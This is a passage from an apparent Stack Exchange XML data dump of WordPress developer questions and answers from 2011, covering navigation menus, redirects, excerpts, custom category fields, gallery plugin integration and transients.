{&#xA;        $file = self::getWpClassFile($name);&#xA;        return (bool) file_exists($file);&#xA;    }&#xA;    public static function require($file) {&#xA;        require $file;&#xA;    }&#xA;    // standard wordpress .class.php file loader&#xA;    public static function loaderWpClasses($name) {&#xA;        if (self::isWpClass($name) {&#xA;            $file = self::getWpClassFile($name);&#xA;            self::require($file);&#xA;        }&#xA;    }&#xA;    // [...] write any code you need to handle other cases.&#xA;    // loader for pomo classes&#xA;    public static function loaderPomo($name) {&#xA;        if (self::isPomoClass($name)) {&#xA;            $file = self::getPomoFile($name);&#xA;            self::require($file);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-08T16:37:22.033" />
  <row Id="6592" PostTypeId="1" CreationDate="2011-01-08T16:43:06.687" Score="0" ViewCount="79" Body="&lt;p&gt;First my Setup:&#xA;WP 3.0.4 | buddypress 1.2.7 | buddypress-default theme + child-theme &quot;jukt micronics&quot; | No menu-plug-ins used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include the header.php from the default theme. jukt micr.-theme has no header.php. In the header.php there is the navigation, right!? I want to build a new nav-line for subpages. My navigation looks like (home is selected):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|XhomeX|activity(bp)|users(bp)|groups(bp)|faq|contact|d&amp;amp;t&amp;amp;e|links(bp-plugin)|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page &quot;d&amp;amp;t&amp;amp;e&quot; has 3 subpages: tools, downloads, erweiterungen (at the moment only &quot;tools&quot; published - still not &quot;downloads&quot; or &quot;erweiterungen&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i click now on &quot;d&amp;amp;t&amp;amp;e&quot;, &quot;d&amp;amp;t&amp;amp;e&quot; is selected/marked and there is the new nav-line with the subpages. It locks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|home|activity(bp)|users(bp)|groups(bp)|faq|contact|Xd&amp;amp;t&amp;amp;eX|links(bp-plugin)|&lt;br&gt;&#xA;|tools|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fine - till here is everythin ok. When i click now on &quot;tools&quot;, &quot;tools&quot; opens, &quot;d&amp;amp;t&amp;amp;e&quot; is still marked, but - the new nav-line is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for the new nav-line:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;nav-child&quot;&amp;gt;&#xA;    &amp;lt;?php if( !bp_current_component() ){ ?&amp;gt;&#xA;        &amp;lt;?php if($post-&amp;gt;post_parent )&#xA;        $children = wp_list_pages(&quot;sort_column=menu_order&amp;amp;depth=1&amp;amp;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;        else&#xA;        $children = wp_list_pages(&quot;sort_column=menu_order&amp;amp;depth=1&amp;amp;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;        if ($children) { ?&amp;gt;&#xA;         &amp;lt;?php echo $children; ?&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- #nav-child --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the code thousend times, looked everywhere, i think the code is right (du u want to see the hole header? - but i think its not important), but where is the mistake? Can you help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adios my friends&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-08T16:57:08.733" LastActivityDate="2011-01-08T16:57:08.733" Title="Why show no subpages on subpages? I use the right code! Perhaps cause buddypress?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;navigation&gt;" />
  <row Id="6593" PostTypeId="2" ParentId="6571" CreationDate="2011-01-08T17:36:24.253" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@craftsman:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll echo everything that @Rarst said and I'll add links to two of my answers that might help you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/386#386&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do it yourself I'll recommend a theme I just purchased for a similar project from WooTheme's called Listings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woothemes.com/2010/12/listings/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WooTheme's Listings&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's not free but it solves so many issues you'll have to address I think it'd be money well spent. Here's a screenshot of their blog post about the theme &lt;em&gt;(since I like to include pictures in my answers :-):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/http___www.woothemes.com_2010_12_listings_-20110108-123022.png&quot; alt=&quot;WooThemes Listings Theme&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-08T23:10:11.910" LastActivityDate="2011-01-08T23:10:11.910" CommentCount="6" />
  <row Id="6594" PostTypeId="2" ParentId="6561" CreationDate="2011-01-08T17:46:40.067" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jeremyswright:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Apache directives is definitely the well-known way to handle redirects. But I'm going to recommend another, easier-to-debug approach; &lt;strong&gt;just write your 301 Redirects in PHP&lt;/strong&gt; using the &lt;code&gt;'template_redirect'&lt;/code&gt; hook provided by WordPress. The following question title links to my answer where I provide full code for solving your problem:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just code your 301 redirects as either PHP &lt;code&gt;if&lt;/code&gt; or &lt;code&gt;select..case&lt;/code&gt; logic, or by using the old URL as an array key and the new URL as an array value. Performance shouldn't be a concern because search engines will quickly adjust to the serve the new URLs and any traffic you might be receiving on the old URLs will quickly diminish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And be sure to put your WordPress site back into its standard state of the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-08T17:46:40.067" CommentCount="6" />
  <row Id="6595" PostTypeId="2" ParentId="6582" CreationDate="2011-01-08T18:52:32.363" Score="2" ViewCount="" Body="&lt;p&gt;WordPress has a &lt;code&gt;$is_IE&lt;/code&gt; global variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $is_IE;&#xA;if($is_IE) enqueue_script(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally I prefer the IE conditional comments. Other browsers ignore them anyway, so there's no reason to use PHP for browser detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to consider using &lt;a href=&quot;http://www.ethanandjamie.com/blog/81-png8-transparency-without-fireworks&quot; rel=&quot;nofollow&quot;&gt;8 bit alpha PNG images&lt;/a&gt; instead of 24 bit PNGs, which don't need any javascript fix in IE, and in most cases they will look the same as a 24 bit PNG.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-08T18:52:32.363" CommentCount="2" />
  <row Id="6596" PostTypeId="2" ParentId="6581" CreationDate="2011-01-08T19:01:55.053" Score="3" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;$comment-&amp;gt;comment_post_ID&lt;/code&gt; instead of &lt;code&gt;$comment-&amp;gt;post_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you don't need get_post(...). Just use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_title&quot; rel=&quot;nofollow&quot;&gt;get_the_title&lt;/a&gt; instead of your &lt;code&gt;$post_obj&lt;/code&gt; and related code...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-08T19:01:55.053" CommentCount="3" />
  <row Id="6597" PostTypeId="2" ParentId="6555" CreationDate="2011-01-08T19:14:24.403" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_html_excerpt($category-&amp;gt;description, 25)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can create your own function. I'm using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Filters content based on specific parameters, and appends a &quot;read more&quot; link if needed.&#xA; * Based on the &quot;Advanced Excerpt&quot; plugin by Bas van Doren - http://sparepencil.com/code/advanced-excerpt/&#xA; *&#xA; * @since 1.0&#xA; *&#xA; * @param string $content What to filter, defaults to get_the_content(); should be left empty if we're filtering post content&#xA; * @param array $args Optional arguments (limit, allowed tags, enable/disable shortcodes, read more link)&#xA; * @return string Filtered content&#xA; */&#xA;function atom_filter_content($content = NULL, $args = array()){&#xA;&#xA;  $args = wp_parse_args($args, array(&#xA;      'limit' =&amp;gt; 40,&#xA;      'allowed_tags' =&amp;gt; array('a', 'abbr', 'acronym', 'address', 'b', 'big', 'blockquote', 'cite', 'code', 'dd', 'del', 'dfn', 'div', 'dl', 'dt', 'em', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'i', 'ins', 'li', 'ol', 'p', 'pre', 'q', 'small', 'span', 'strong', 'sub', 'sup', 'tt', 'ul'),&#xA;      'shortcodes' =&amp;gt; false,&#xA;      'more' =&amp;gt; '&amp;lt;a href=&quot;'.get_permalink().'&quot; class=&quot;more-link&quot;&amp;gt;'.__('More &amp;amp;gt;').'&amp;lt;/a&amp;gt;',&#xA;    ));&#xA;&#xA;  extract(apply_filters('atom_content_filter_args', $args, $content), EXTR_SKIP);&#xA;&#xA;  if(!isset($content)) $text = get_the_content(); else $text = $content;&#xA;  if(!$shortcodes) $text = strip_shortcodes($text);&#xA;&#xA;  if(!isset($content)) $text = apply_filters('the_content', $text);&#xA;&#xA;  // From the default wp_trim_excerpt():&#xA;  // Some kind of precaution against malformed CDATA in RSS feeds I suppose&#xA;  $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;&#xA;  // Strip HTML if allow-all is not set&#xA;  if(!in_array('ALL', $allowed_tags)):&#xA;    if(count($allowed_tags) &amp;gt; 0) $tag_string = '&amp;lt;'.implode('&amp;gt;&amp;lt;', $allowed_tags).'&amp;gt;'; else $tag_string = '';&#xA;    $text = strip_tags($text, $tag_string); // @todo: find a way to use the function above (strip certain tags with the content between them)&#xA;  endif;&#xA;&#xA;  // Skip if text is already within limit&#xA;  if($limit &amp;gt;= count(preg_split('/[\s]+/', strip_tags($text)))) return $text;&#xA;&#xA;  // Split on whitespace and start counting (for real)&#xA;  $text_bits = preg_split('/([\s]+)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);&#xA;  $in_tag = false;&#xA;  $n_words = 0;&#xA;  $text = '';&#xA;  foreach($text_bits as $chunk):&#xA;    if(!$in_tag || strpos($chunk, '&amp;gt;') !== false) $in_tag = (strrpos($chunk, '&amp;gt;') &amp;lt; strrpos($chunk, '&amp;lt;'));&#xA;&#xA;    // Whitespace outside tags is word separator&#xA;    if(!$in_tag &amp;amp;&amp;amp; '' == trim($chunk)) $n_words++;&#xA;&#xA;    if($n_words &amp;gt;= $limit &amp;amp;&amp;amp; !$in_tag) break;&#xA;    $text .= $chunk;&#xA;  endforeach;&#xA;&#xA;  $text = trim(force_balance_tags($text));&#xA;&#xA;  if($more):&#xA;    $more = &quot; {$more}&quot;;&#xA;    if(($pos = strpos($text, '&amp;lt;/p&amp;gt;', strlen($text) - 7)) !== false):&#xA;      // Stay inside the last paragraph (if it's in the last 6 characters)&#xA;      $text = substr_replace($text, $more, $pos, 0);&#xA;    else:&#xA;&#xA;     // If &amp;lt;p&amp;gt; is an allowed tag, wrap read more link for consistency with excerpt markup&#xA;     if(in_array('ALL', $allowed_tags) || in_array('p', $allowed_tags))&#xA;       $more = &quot;&amp;lt;p&amp;gt;{$more}&amp;lt;/p&amp;gt;&quot;;&#xA;       $text = $text.$more;&#xA;     endif;&#xA;  endif;&#xA;  return $text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-08T19:14:24.403" />
  <row Id="6598" PostTypeId="2" ParentId="6590" CreationDate="2011-01-08T20:28:07.523" Score="1" ViewCount="" Body="&lt;p&gt;don't include WP like that. use &lt;code&gt;$_GET&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$(&quot;#tags&quot;).autocomplete(&quot;&amp;lt;?php echo add_query_arg('get_my', 'terms', home_url()); ?&amp;gt;&quot;, &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'terms_for_autocomplete');&#xA;function terms_for_autocomplete(){&#xA;  if(isset($_GET['get_my']) &amp;amp;&amp;amp; $_GET['get_my'] == 'terms'):&#xA;&#xA;    $terms = &amp;amp;get_terms(get_taxonomies());&#xA;    foreach ($terms as $term)&#xA;      echo &quot;{$term-&amp;gt;name}|{$term-&amp;gt;name} ({$term-&amp;gt;count} results)\n&quot;;&#xA;&#xA;    die();&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-09T18:52:26.703" LastActivityDate="2011-01-09T18:52:26.703" CommentCount="8" />
  <row Id="6599" PostTypeId="2" ParentId="6549" CreationDate="2011-01-08T20:54:56.610" Score="1" ViewCount="" Body="&lt;p&gt;No. You have to use &lt;code&gt;wp_options&lt;/code&gt;, because you can't create new fields in the wp_term_taxonomy table (If you do, in the next WP update you'll loose them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// the option name&#xA;define('MY_CATEGORY_FIELDS', 'my_category_fields_option');&#xA;&#xA;// your fields (the form)&#xA;add_filter('edit_category_form', 'my_category_fields');&#xA;function my_category_fields($tag) {&#xA;    $tag_extra_fields = get_option(MY_CATEGORY_FIELDS);&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_ce4-categoryTitle&quot;&amp;gt;Full Category Title&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input name=&quot;_ce4-categoryTitle&quot; id=&quot;_ce4-categoryTitle&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php echo $tag_extra_fields[$tag-&amp;gt;term_id]['my_title']; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;The title is optional but will be used in place of the name on the home page category index.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_ce4_fullDescription&quot;&amp;gt;Full Category Text for Landing Page&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;height:70px; width:100%;margin-left:-5px;&quot; name=&quot;_ce4_fullDescription&quot; id=&quot;_ce4_fullDescription&quot;&amp;gt;&amp;lt;?php  echo $tag_extra_fields[$tag-&amp;gt;term_id]['my_description']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This text will appear on the category landing page when viewing all articles in a category. The image, you supply above, if any, will be used here and this content will wrap around it.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// when the form gets submitted, and the category gets updated (in your case the option will get updated with the values of your custom fields above&#xA;add_filter('edited_terms', 'update_my_category_fields');&#xA;function update_my_category_fields($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(MY_CATEGORY_FIELDS);&#xA;    $tag_extra_fields[$term_id]['my_title'] = strip_tags($_POST['_ce4-categoryTitle']);&#xA;    $tag_extra_fields[$term_id]['my_description'] = strip_tags($_POST['_ce4_fullDescription']);&#xA;    update_option(MY_CATEGORY_FIELDS, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&#xA;&#xA;// when a category is removed&#xA;add_filter('deleted_term_taxonomy', 'remove_my_category_fields');&#xA;function remove_my_category_fields($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(MY_CATEGORY_FIELDS);&#xA;    unset($tag_extra_fields[$term_id]);&#xA;    update_option(MY_CATEGORY_FIELDS, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be some category-related hooks for the last two, I didn't search for them. I just adapted the code above from a old theme of mine in which the admin can attach a image to a custom taxonomy term...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-08T20:54:56.610" CommentCount="2" />
  <row Id="6600" PostTypeId="1" CreationDate="2011-01-08T21:59:33.847" Score="1" ViewCount="838" Body="&lt;p&gt;First time posting in the Wordpress area of Stack Exchange. Hopefully someone will be able to help me with an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully integrated Gallerific with the NextGen plugin.The one issue that I am having is that I simply cannot figure out how to rotate the image description with the image. I can only get the image description to appear under the thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's something simple, but I have been staring at it for so long that I am probably missing the obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NextGen custom template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;&#xA;/**&#xA; Template Page for the gallery overview&#xA;&#xA;Follow variables are useable :&#xA;&#xA;$gallery     : Contain all about the gallery&#xA;$images      : Contain all images, path, title&#xA;$pagination  : Contain the pagination content&#xA;&#xA; You can check the content when you insert the tag &amp;lt;?php var_dump($variable) ?&amp;gt;&#xA; If you would like to show the timestamp of the image ,you can use &amp;lt;?php echo      $exif['created_timestamp'] ?&amp;gt;**/&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (!defined ('ABSPATH')) die ('No direct access allowed'); ?&amp;gt;&amp;lt;?php if (!empty ($gallery)) : ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;ngg-galleryoverview&quot; id=&quot;&amp;lt;?php echo $gallery-&amp;gt;anchor ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;/**&#xA;*GALLERIFFIC&#xA;*/&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;loading&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;slideshow&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;thumbs&quot; class=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;thumbs noscript&quot;&amp;gt;&#xA;&amp;lt;!-- Thumbnails --&amp;gt;&#xA;&amp;lt;?php foreach ($images as $image) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;a class=&quot;thumb&quot; href=&quot;&amp;lt;?php echo $image-&amp;gt;imageURL ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $image- &amp;gt;description ?&amp;gt;&quot; &amp;lt;?php echo $image-&amp;gt;thumbcode ?&amp;gt; &amp;gt;&#xA;&amp;lt;img title=&quot;&amp;lt;?php echo $image-&amp;gt;alttext ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $image-&amp;gt;alttext ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $image-&amp;gt;thumbnailURL ?&amp;gt;&quot; width=&quot;125&quot; height=&quot;100&quot;&amp;lt;?php // echo $image-&amp;gt;size ?&amp;gt; /&amp;gt;&#xA;&amp;lt;!-- thumbnail --&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;image-desc&quot;&amp;gt;&amp;lt;?php echo $image-&amp;gt;description ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;!-- Pagination --&amp;gt;&#xA;&amp;lt;?php echo $pagination ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the custom Wordpress page template with the Gallerific javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Photo Gallery 2&#xA;*/&#xA;get_header();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;thin-red&quot;&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #thin-red --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;slideshow&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;caption&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;image-desc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;thumbs&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end container--&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA; var gallery = $('#thumbs').galleriffic({&#xA;     delay:                     3000, // in milliseconds&#xA;     numThumbs:                 8, // The number of thumbnails to show page&#xA;     preloadAhead:              40, // Set to -1 to preload all images&#xA;     enableTopPager:            false,&#xA;     enableBottomPager:         true,&#xA;     maxPagesToShow:            7,  // The maximum number of pages to display in either the top or bottom pager&#xA;     imageContainerSel:         '#slideshow', // The CSS selector for the element within which the main slideshow image should be rendered&#xA;     controlsContainerSel:      '#controls', // The CSS selector for the element within which the slideshow controls should be rendered&#xA;     captionContainerSel:       '#caption', // The CSS selector for the element within which the captions should be rendered&#xA;     loadingContainerSel:       '', // The CSS selector for the element within which should be shown when an image is loading&#xA;     renderSSControls:          true, // Specifies whether the slideshow's Play and Pause links should be rendered&#xA;     renderNavControls:         true, // Specifies whether the slideshow's Next and Previous links should be rendered&#xA;     playLinkText:              'Play',&#xA;     pauseLinkText:             'Pause',&#xA;     prevLinkText:              'Previous',&#xA;     nextLinkText:              'Next',&#xA;     nextPageLinkText:          'Next &amp;amp;rsaquo;',&#xA;     prevPageLinkText:          '&amp;amp;lsaquo; Prev',&#xA;     enableHistory:             false, // Specifies whether the url's hash and the browser's history cache should update when the current slideshow image changes&#xA;     enableKeyboardNavigation:  true, // Specifies whether keyboard navigation is enabled&#xA;     autoStart:                 false, // Specifies whether the slideshow should be playing or paused when the page first loads&#xA;     syncTransitions:           false, // Specifies whether the out and in transitions occur simultaneously or distinctly&#xA;     defaultTransitionDuration: 0, // If using the default transitions, specifies the duration of the transitions&#xA;     onSlideChange:             undefined, // accepts a delegate like such: function(prevIndex, nextIndex) { ... }&#xA;     onTransitionOut:           undefined, // accepts a delegate like such: function(slide, caption, isSync, callback) { ... }&#xA;     onTransitionIn:            undefined, // accepts a delegate like such: function(slide, caption, isSync) { ... }&#xA;     onPageTransitionOut:       undefined, // accepts a delegate like such: function(callback) { ... }&#xA;     onPageTransitionIn:        undefined, // accepts a delegate like such: function() { ... }&#xA;     onImageAdded:              undefined, // accepts a delegate like such: function(imageData, $li) { ... }&#xA;     onImageRemoved:            undefined  // accepts a delegate like such: function(imageData, $li) { ... }&#xA; });&#xA; });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2388" LastActivityDate="2011-07-09T05:11:20.357" Title="Integrating Nextgen Gallery with Gallerific" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="3" />
  <row Id="6601" PostTypeId="2" ParentId="6574" CreationDate="2011-01-08T22:36:41.990" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://elance.com&quot; rel=&quot;nofollow&quot;&gt;Elance&lt;/a&gt; is a great option.  &lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-01-08T22:36:41.990" />
  <row Id="6602" PostTypeId="1" AcceptedAnswerId="6652" CreationDate="2011-01-09T00:20:17.403" Score="5" ViewCount="382" Body="&lt;p&gt;This question got me thinking &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5704/transient-rss-feeds-in-wp-options-not-removed-automatically&quot;&gt;Transient RSS feeds in wp_options not removed automatically?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transients are supposed to expire and be deleted. However the only way I see this handled is when transient is expired and requested, then it is deleted during request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if transient is expired but never requested after that? From description in Codex I thought that some kind of garbage collection is implied. Now I am not so sure and can't find any code that performs such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So will it just be stuck in database forever?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-10T12:17:47.970" Title="Are transients garbage collected?" Tags="&lt;options&gt;&lt;transient&gt;" AnswerCount="1" CommentCount="16" FavoriteCount="4" />
